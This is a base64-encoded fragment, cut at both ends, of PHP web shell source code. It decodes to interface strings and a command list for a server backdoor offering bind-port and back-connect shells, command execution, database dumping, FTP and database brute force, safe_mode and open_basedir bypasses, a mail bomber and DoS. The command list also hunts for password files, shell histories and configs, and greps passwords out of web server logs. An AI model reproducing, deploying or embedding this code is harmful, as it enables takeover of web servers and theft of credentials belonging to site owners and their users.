2VuZ19idXR0MycgPT4nQmluZCcsCidlbmdfYnV0dDQnID0+J0Nvbm5lY3QnLAonZW5nX2J1dHQ1JyA9PidSdW4nLAonZW5nX2J1dHQ2JyA9PidDaGFuZ2UnLAonZW5nX2J1dHQ3JyA9PidTaG93JywKJ2VuZ19idXR0OCcgPT4nVGVzdCcsCidlbmdfYnV0dDknID0+J0R1bXAnLAonZW5nX2J1dHQxMCc9PidTYXZlJywKJ2VuZ19idXR0MTEnPT4nRWRpdCBmaWxlJywKJ2VuZ19idXR0MTInPT4nRmluZCcsCidlbmdfYnV0dDEzJz0+J0NyZWF0ZS9EZWxldGUnLAonZW5nX2J1dHQxNCc9PidEb3dubG9hZCcsCidlbmdfYnV0dDE1Jz0+J1NlbmQnLAonZW5nX3RleHQxJyA9PidFeGVjdXRlZCBjb21tYW5kJywKJ2VuZ190ZXh0MicgPT4nRXhlY3V0ZSBjb21tYW5kIG9uIHNlcnZlcicsCidlbmdfdGV4dDMnID0+J1J1biBjb21tYW5kJywKJ2VuZ190ZXh0NCcgPT4nV29yayBkaXJlY3RvcnknLAonZW5nX3RleHQ1JyA9PidVcGxvYWQgZmlsZXMgb24gc2VydmVyJywKJ2VuZ190ZXh0NicgPT4nTG9jYWwgZmlsZScsCidlbmdfdGV4dDcnID0+J0FsaWFzZXMnLAonZW5nX3RleHQ4JyA9PidTZWxlY3QgYWxpYXMnLAonZW5nX3RleHQ5JyA9PidCaW5kIHBvcnQgdG8gL2Jpbi9iYXNoJywKJ2VuZ190ZXh0MTAnPT4nUG9ydCcsCidlbmdfdGV4dDExJz0+J1Bhc3N3b3JkIGZvciBhY2Nlc3MnLAonZW5nX3RleHQxMic9PidiYWNrLWNvbm5lY3QnLAonZW5nX3RleHQxMyc9PidJUCcsCidlbmdfdGV4dDE0Jz0+J1BvcnQnLAonZW5nX3RleHQxNSc9PidVcGxvYWQgZmlsZXMgZnJvbSByZW1vdGUgc2VydmVyJywKJ2VuZ190ZXh0MTYnPT4nV2l0aCcsCidlbmdfdGV4dDE3Jz0+J1JlbW90ZSBmaWxlJywKJ2VuZ190ZXh0MTgnPT4nTG9jYWwgZmlsZScsCidlbmdfdGV4dDE5Jz0+J0V4cGxvaXRzJywKJ2VuZ190ZXh0MjAnPT4nVXNlJywKJ2VuZ190ZXh0MjEnPT4nJm5ic3A7TmV3IG5hbWUnLAonZW5nX3RleHQyMic9PidkYXRhcGlwZScsCidlbmdfdGV4dDIzJz0+J0xvY2FsIHBvcnQnLAonZW5nX3RleHQyNCc9PidSZW1vdGUgaG9zdCcsCidlbmdfdGV4dDI1Jz0+J1JlbW90ZSBwb3J0JywKJ2VuZ190ZXh0MjYnPT4nVXNlJywKJ2VuZ190ZXh0MjgnPT4nV29yayBpbiBzYWZlX21vZGUnLAonZW5nX3RleHQyOSc9PidBQ0NFU1MgREVOSUVEJywKJ2VuZ190ZXh0MzAnPT4nQ2F0IGZpbGUnLAonZW5nX3RleHQzMSc9PidGaWxlIG5vdCBmb3VuZCcsCidlbmdfdGV4dDMyJz0+J0V2YWwgUEhQIGNvZGUnLAonZW5nX3RleHQzMyc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIgd2l0aCBjVVJMIGZ1bmN0aW9ucyhQSFAgPD0gNC40LjIsIDUuMS40KScsCidlbmdfdGV4dDM0Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB3aXRoIGluY2x1ZGUgZnVuY3Rpb24nLAonZW5nX3RleHQzNSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBsb2FkIGZpbGUgaW4gbXlzcWwnLAonZW5nX3RleHQzNic9PidEYXRhYmFzZSAuIFRhYmxlJywKJ2VuZ190ZXh0MzcnPT4nTG9naW4nLAonZW5nX3RleHQzOCc9PidQYXNzd29yZCcsCidlbmdfdGV4dDM5Jz0+J0RhdGFiYXNlJywKJ2VuZ190ZXh0NDAnPT4nRHVtcCBkYXRhYmFzZSB0YWJsZScsCidlbmdfdGV4dDQxJz0+J1NhdmUgZHVtcCBpbiBmaWxlJywKJ2VuZ190ZXh0NDInPT4nRWRpdCBmaWxlcycsCidlbmdfdGV4dDQzJz0+J0ZpbGUgZm9yIGVkaXQnLAonZW5nX3RleHQ0NCc9PidDYW5cJ3QgZWRpdCBmaWxlISBPbmx5IHJlYWQgYWNjZXNzIScsCidlbmdfdGV4dDQ1Jz0+J0ZpbGUgc2F2ZWQnLAonZW5nX3RleHQ0Nic9PidTaG93IHBocGluZm8oKScsCidlbmdfdGV4dDQ3Jz0+J1Nob3cgdmFyaWFibGVzIGZyb20gcGhwLmluaScsCidlbmdfdGV4dDQ4Jz0+J0RlbGV0ZSB0ZW1wIGZpbGVzJywKJ2VuZ190ZXh0NDknPT4nRGVsZXRlIHNjcmlwdCBmcm9tIHNlcnZlcicsCidlbmdfdGV4dDUwJz0+J1ZpZXcgY3B1IGluZm8nLAonZW5nX3RleHQ1MSc9PidWaWV3IG1lbW9yeSBpbmZvJywKJ2VuZ190ZXh0NTInPT4nRmluZCB0ZXh0JywKJ2VuZ190ZXh0NTMnPT4nSW4gZGlycycsCidlbmdfdGV4dDU0Jz0+J0ZpbmQgdGV4dCBpbiBmaWxlcycsCidlbmdfdGV4dDU1Jz0+J09ubHkgaW4gZmlsZXMnLAonZW5nX3RleHQ1Nic9PidOb3RoaW5nIDooJywKJ2VuZ190ZXh0NTcnPT4nQ3JlYXRlL0RlbGV0ZSBGaWxlL0RpcicsCidlbmdfdGV4dDU4Jz0+J25hbWUnLAonZW5nX3RleHQ1OSc9PidmaWxlJywKJ2VuZ190ZXh0NjAnPT4nZGlyJywKJ2VuZ190ZXh0NjEnPT4nRmlsZSBjcmVhdGVkJywKJ2VuZ190ZXh0NjInPT4nRGlyIGNyZWF0ZWQnLAonZW5nX3RleHQ2Myc9PidGaWxlIGRlbGV0ZWQnLAonZW5nX3RleHQ2NCc9PidEaXIgZGVsZXRlZCcsCidlbmdfdGV4dDY1Jz0+J0NyZWF0ZScsCidlbmdfdGV4dDY2Jz0+J0RlbGV0ZScsCidlbmdfdGV4dDY3Jz0+J0Nob3duL0NoZ3JwL0NobW9kJywKJ2VuZ190ZXh0NjgnPT4nQ29tbWFuZCcsCidlbmdfdGV4dDY5Jz0+J3BhcmFtMScsCidlbmdfdGV4dDcwJz0+J3BhcmFtMicsCidlbmdfdGV4dDcxJz0+IlNlY29uZCBjb21tYW5kcyBwYXJhbSBpczpcclxuLSBmb3IgQ0hPV04gLSBuYW1lIG9mIG5ldyBvd25lciBvciBVSURcclxuLSBmb3IgQ0hHUlAgLSBncm91cCBuYW1lIG9yIEdJRFxyXG4tIGZvciBDSE1PRCAtIDA3NzcsIDA3NTUuLi4iLAonZW5nX3RleHQ3Mic9PidUZXh0IGZvciBmaW5kJywKJ2VuZ190ZXh0NzMnPT4nRmluZCBpbiBmb2xkZXInLAonZW5nX3RleHQ3NCc9PidGaW5kIGluIGZpbGVzJywKJ2VuZ190ZXh0NzUnPT4nKiB5b3UgY2FuIHVzZSByZWdleHAnLAonZW5nX3RleHQ3Nic9PidTZWFyY2ggdGV4dCBpbiBmaWxlcyB2aWEgZmluZCcsCidlbmdfdGV4dDgwJz0+J1R5cGUnLAonZW5nX3RleHQ4MSc9PidOZXQnLAonZW5nX3RleHQ4Mic9PidEYXRhYmFzZXMnLAonZW5nX3RleHQ4Myc9PidSdW4gU1FMIHF1ZXJ5JywKJ2VuZ190ZXh0ODQnPT4nU1FMIHF1ZXJ5JywKJ2VuZ190ZXh0ODUnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggY29tbWFuZHMgZXhlY3V0ZSB2aWEgTVNTUUwgc2VydmVyJywKJ2VuZ190ZXh0ODYnPT4nRG93bmxvYWQgZmlsZXMgZnJvbSBzZXJ2ZXInLAonZW5nX3RleHQ4Nyc9PidEb3dubG9hZCBmaWxlcyBmcm9tIHJlbW90ZSBmdHAtc2VydmVyJywKJ2VuZ190ZXh0ODgnPT4nc2VydmVyOnBvcnQnLAonZW5nX3RleHQ4OSc9PidGaWxlIG9uIGZ0cCcsCidlbmdfdGV4dDkwJz0+J1RyYW5zZmVyIG1vZGUnLAonZW5nX3RleHQ5MSc9PidBcmNoaXZhdGlvbicsCidlbmdfdGV4dDkyJz0+J3dpdGhvdXQgYXJjaC4nLAonZW5nX3RleHQ5Myc9PidGVFAnLAonZW5nX3RleHQ5NCc9PidGVFAtYnJ1dGVmb3JjZScsCidlbmdfdGV4dDk1Jz0+J1VzZXJzIGxpc3QnLAonZW5nX3RleHQ5Nic9PidDYW5cJ3QgZ2V0IHVzZXJzIGxpc3QnLAonZW5nX3RleHQ5Nyc9PidjaGVja2VkOiAnLAonZW5nX3RleHQ5OCc9PidzdWNjZXNzOiAnLAonZW5nX3RleHQ5OSc9PicvZXRjL3Bhc3N3ZCcsCidlbmdfdGV4dDEwMCc9PidTZW5kIGZpbGUgdG8gcmVtb3RlIGZ0cCBzZXJ2ZXInLAonZW5nX3RleHQxMDEnPT4nVXNlIHJldmVyc2UgKHVzZXIgLT4gcmVzdSknLAonZW5nX3RleHQxMDInPT4nTWFpbCcsCidlbmdfdGV4dDEwMyc9PidTZW5kIGVtYWlsJywKJ2VuZ190ZXh0MTA0Jz0+J1NlbmQgZmlsZSB0byBlbWFpbCcsCidlbmdfdGV4dDEwNSc9PidUbycsCidlbmdfdGV4dDEwNic9PidGcm9tJywKJ2VuZ190ZXh0MTA3Jz0+J1N1YmonLAonZW5nX3RleHQxMDgnPT4nTWFpbCcsCidlbmdfdGV4dDEwOSc9PidIaWRlJywKJ2VuZ190ZXh0MTEwJz0+J1Nob3cnLAonZW5nX3RleHQxMTEnPT4nU1FMLVNlcnZlciA6IFBvcnQnLAonZW5nX3RleHQxMTInPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggZnVuY3Rpb24gbWJfc2VuZF9tYWlsKCkgKFBIUCA8PSA0LjAtNC4yLjIsIDUueCknLAonZW5nX3RleHQxMTMnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlLCB2aWV3IGRpciBsaXN0IHZpYSBpbWFwX2xpc3QoKSAoUEhQIDw9IDUuMS4yKScsCidlbmdfdGV4dDExNCc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIHZpZXcgZmlsZSBjb250ZXN0IHZpYSBpbWFwX2JvZHkoKSAoUEhQIDw9IDUuMS4yKScsCidlbmdfdGV4dDExNSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIGNvcHkgZmlsZSB2aWEgY29weShjb21wcmVzcy56bGliOi8vKSAoUEhQIDw9IDQuNC4yLCA1LjEuMiknLAonZW5nX3RleHQxMTYnPT4nQ29weSBmcm9tJywKJ2VuZ190ZXh0MTE3Jz0+J3RvJywKJ2VuZ190ZXh0MTE4Jz0+J0ZpbGUgY29waWVkJywKJ2VuZ190ZXh0MTE5Jz0+J0NhbnQgY29weSBmaWxlJywKJ2VuZ190ZXh0MTIwJz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB2aWEgaW5pX3Jlc3RvcmUgKFBIUCA8PSA0LjQuNCwgNS4xLjYpIGJ5IE5TVCcsCidlbmdfdGV4dDEyMSc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIHZpZXcgZGlyIGxpc3QgdmlhIGZvcGVuIChQSFAgdjQuNC4wIG1lbW9yeSBsZWFrKSBieSBOU1QnLAonZW5nX3RleHQxMjInPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCB2aWV3IGRpciBsaXN0IHZpYSBnbG9iKCkgKFBIUCA8PSA1LjIueCknLAonZW5nX3RleHQxMjMnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCByZWFkICouYnppcCBmaWxlIHZpYSBbY29tcHJlc3MuYnppcDI6Ly9dIChQSFAgPD0gNS4yLjEpJywKJ2VuZ190ZXh0MTI0Jz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgYWRkIGRhdGEgdG8gZmlsZSB2aWEgZXJyb3JfbG9nKHBocDovLykgKFBIUCA8PSA1LjEuNCwgNC40LjIpJywKJ2VuZ190ZXh0MTI1Jz0+J0RhdGEnLAonZW5nX3RleHQxMjYnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCBjcmVhdGUgZmlsZSB2aWEgc2Vzc2lvbl9zYXZlX3BhdGhbTlVMTC1ieXRlXSAoUEhQIDw9IDUuMi4wKScsCidlbmdfdGV4dDEyNyc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIGFkZCBkYXRhIHRvIGZpbGUgdmlhIHJlYWRmaWxlKHBocDovLykgKFBIUCA8PSA1LjIuMSwgNC40LjQpJywKJ2VuZ190ZXh0MTI4Jz0+J01vZGlmeS9BY2Nlc3MgZmlsZSAodG91Y2gpJywKJ2VuZ190ZXh0MTI5Jz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgY3JlYXRlIGZpbGUgdmlhIGZvcGVuKHNycGF0aDovLykgKFBIUCB2NS4yLjApJywKJ2VuZ190ZXh0MTMwJz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgcmVhZCAqLnppcCBmaWxlIHZpYSBbemlwOi8vXSAoUEhQIDw9IDUuMi4xKScsCidlbmdfdGV4dDEzMSc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIHZpZXcgZmlsZSBjb250ZXN0IHZpYSBzeW1saW5rKCkgKFBIUCA8PSA1LjIuMSknLAonZW5nX3RleHQxMzInPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCB2aWV3IGRpciBsaXN0IHZpYSBzeW1saW5rKCkgKFBIUCA8PSA1LjIuMSknLAonZW5nX3RleHQxMzMnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCBjcmVhdGUgZmlsZSB2aWEgc2Vzc2lvbl9zYXZlX3BhdGgoVE1QRElSKSAoUEhQIDw9IDUuMi40KScsCidlbmdfdGV4dDEzNCc9PidEYXRhYmFzZS1icnV0ZWZvcmNlJywKJ2VuZ190ZXh0MTM1Jz0+J0RpY3Rpb25hcnknLAonZW5nX3RleHQxMzYnPT4nQ3JlYXRpbmcgZXZpbCBzeW1saW5rJywKJ2VuZ190ZXh0MTM3Jz0+J1VzZWZ1bCcsCidlbmdfdGV4dDEzOCc9PidEYW5nZXJvdXMnLAonZW5nX3RleHQxMzknPT4nTWFpbCBCb21iZXInLAonZW5nX3RleHQxNDAnPT4nRG9TJywKJ2VuZ190ZXh0MTQxJz0+J0RhbmdlciEgV2ViLWRhZW1vbiBjcmFzaCBwb3NzaWJsZS4nLAonZW5nX3RleHQxNDInPT4nRG93bmxvYWRlcnMnLAonZW5nX3RleHQxNDMnPT4nVGVtcDogJywKJ2VuZ190ZXh0MTQ0Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB3aXRoIGxvYWQgZmlsZSBpbiBteXNxbGknLAonZW5nX3RleHQxNDUnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCB2aWV3IGRpciBsaXN0IHZpYSByZWFscGF0aCgpIChQSFAgPD0gNS4yLjQpJywKJ2VuZ190ZXh0MTQ2Jz0+J01heCBJbnRlcmF0aW9uJywKJ2VuZ190ZXh0MTQ3Jz0+JycsCidlbmdfdGV4dDE0OCc9PicnLAonZW5nX3RleHQxNDknPT4nJywKJ2VuZ190ZXh0MTUwJz0+JycsCidlbmdfZXJyMCc9PidFcnJvciEgQ2FuXCd0IHdyaXRlIGluIGZpbGUgJywKJ2VuZ19lcnIxJz0+J0Vycm9yISBDYW5cJ3QgcmVhZCBmaWxlICcsCidlbmdfZXJyMic9PidFcnJvciEgQ2FuXCd0IGNyZWF0ZSAnLAonZW5nX2VycjMnPT4nRXJyb3IhIENhblwndCBjb25uZWN0IHRvIGZ0cCcsCidlbmdfZXJyNCc9PidFcnJvciEgQ2FuXCd0IGxvZ2luIG9uIGZ0cCBzZXJ2ZXInLAonZW5nX2VycjUnPT4nRXJyb3IhIENhblwndCBjaGFuZ2UgZGlyIG9uIGZ0cCcsCidlbmdfZXJyNic9PidFcnJvciEgQ2FuXCd0IHNlbnQgbWFpbCcsCidlbmdfZXJyNyc9PidNYWlsIHNlbmQnLAopOwovKgo/Pz8/Pz8gPz8/Pz8/Cj8/Pz8/Pz8/PyA/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/Pz8/ID8/Pz8/PyA/Pz8/PyA/ID8/Py0/PyA/Pz8/Pz8uICggPz8/Pz8/PyA/Pz8/Pz8/Pz8gPz8/PyA/Pz8/Pz8/Pz8gPz8/PyApCj8/ID8/Pz8/PyA/Pz8/ID8/Pz8/Pz8/PyA/Pz8gPz8/Pz8/Pz8gPz8/Pz8/Py4KKi8KJGFsaWFzZXM9YXJyYXkoCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tbG9jYXRlJz0+JycsCidsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGh0dHBkLmNvbmYgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIHZob3N0cy5jb25mID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgcHJvZnRwZC5jb25mID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgcHN5Ym5jLmNvbmYgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSBwc3libmMuY29uZiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonbG9jYXRlIG15LmNvbmYgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSBteS5jb25mID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgYWRtaW4ucGhwIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgYWRtaW4ucGhwID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgY2ZnLnBocCBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGNmZy5waHAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSBjb25mLnBocCBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGNvbmYucGhwID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGNvbmZpZy5kYXQgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSBjb25maWcucGhwIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgY29uZmlnLnBocCA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonbG9jYXRlIGNvbmZpZy5pbmMgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSBjb25maWcuaW5jID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgY29uZmlnLmluYy5waHAgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSBjb25maWcuaW5jLnBocCA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonbG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonbG9jYXRlIC5jb25mIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgIi5jb25mIiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonbG9jYXRlIC5wd2QgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSAiLnB3ZCIgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSAuc3FsIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgIi5zcWwiID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgLmh0cGFzc3dkIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgIi5odHBhc3N3ZCIgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgIi5iYXNoX2hpc3RvcnkiID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSAiLm15c3FsX2hpc3RvcnkiID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgYmFja3VwIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgYmFja3VwID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgZHVtcCBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGR1bXAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSBwcml2IGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9Pidsb2NhdGUgcHJpdiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXRhcic9PicnLAondGFyIC1jenZmIGFsbC50Z3ogLVQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4ndGFyIC1jenZmIGFsbC50Z3ogLVQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTEnPT4nJywKJ2xvY2F0ZSBhdXRoX2xvZyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGF1dGhfbG9nID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgYWNjZXNzX2xvZyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGFjY2Vzc19sb2cgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSBlcnJvcl9sb2cgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSBlcnJvcl9sb2cgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSBhdXRoLmxvZyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGF1dGgubG9nID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidsb2NhdGUgYWNjZXNzLmxvZyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nbG9jYXRlIGFjY2Vzcy5sb2cgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSBlcnJvci5sb2cgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSBlcnJvci5sb2cgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2xvY2F0ZSAiLmxvZyIgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2xvY2F0ZSAiLmxvZyIgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0yJz0+JycsCidjYXQgL3Zhci9sb2cvaHR0cGQvYXV0aF9sb2cgfCBncmVwIHBhc3MgPj4gJy4kdGVtcGRpci4ncGFzcy50eHQ7Y2F0ICcuJHRlbXBkaXIuJ3Bhc3MudHh0Jz0+J2NhdCAvdmFyL2xvZy9odHRwZC9hdXRoX2xvZyB8IGdyZXAgcGFzcyA+PiAnLiR0ZW1wZGlyLidwYXNzLnR4dDtjYXQgJy4kdGVtcGRpci4ncGFzcy50eHQnLAonY2F0IC92YXIvbG9nL2h0dHBkL2FjY2Vzc19sb2cgfCBncmVwIHBhc3MgPj4gJy4kdGVtcGRpci4ncGFzcy50eHQ7Y2F0ICcuJHRlbXBkaXIuJ3Bhc3MudHh0Jz0+J2NhdCAvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nIHwgZ3JlcCBwYXNzID4+ICcuJHRlbXBkaXIuJ3Bhc3MudHh0O2NhdCAnLiR0ZW1wZGlyLidwYXNzLnR4dCcsCidjYXQgL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nIHwgZ3JlcCBwYXNzID4+ICcuJHRlbXBkaXIuJ3Bhc3MudHh0O2NhdCAnLiR0ZW1wZGly